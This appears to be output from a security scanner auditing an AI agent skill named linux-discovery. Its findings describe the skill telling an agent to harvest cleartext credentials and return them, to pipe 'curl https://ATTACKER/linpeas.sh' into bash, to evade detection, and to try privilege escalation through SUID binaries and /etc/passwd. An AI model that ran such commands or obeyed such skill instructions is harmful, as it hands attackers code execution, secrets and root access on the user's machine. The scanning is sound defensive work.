linux-discovery

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt explicitly instructs the agent to extract cleartext credentials (from env, history, config files, etc.) and immediately call add_credential(..., secret=...) and include discovered credentials/tokens in returned findings, which requires emitting secret values verbatim.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). https://ATTACKER/linpeas.sh is high-risk because it is a direct .sh download hosted on an attacker-controlled/untrusted domain (a common malware distribution vector), whereas https://gtfobins.github.io is a legitimate GitHub Pages documentation site and not itself a malicious download source.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The skill is a dual‑use privilege‑escalation enumeration guide that includes explicit credential-harvesting and exfiltration hooks (add_credential, saving evidence), OPSEC evasion (pipe-from-memory), and direct remote code execution instructions (curl https://ATTACKER/... | bash), which are high-risk patterns enabling backdoors and data exfiltration.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill actively instructs the agent to verify and exercise local privilege-escalation vectors (including running a sudoedit crash test, SUID/SGID/capability-based escalation techniques that mention overwriting /etc/passwd or using SUID bash, running linPEAS via curl|bash, and password brute checks), which encourages actions that can modify or destabilize the host and lead to obtaining elevated privileges.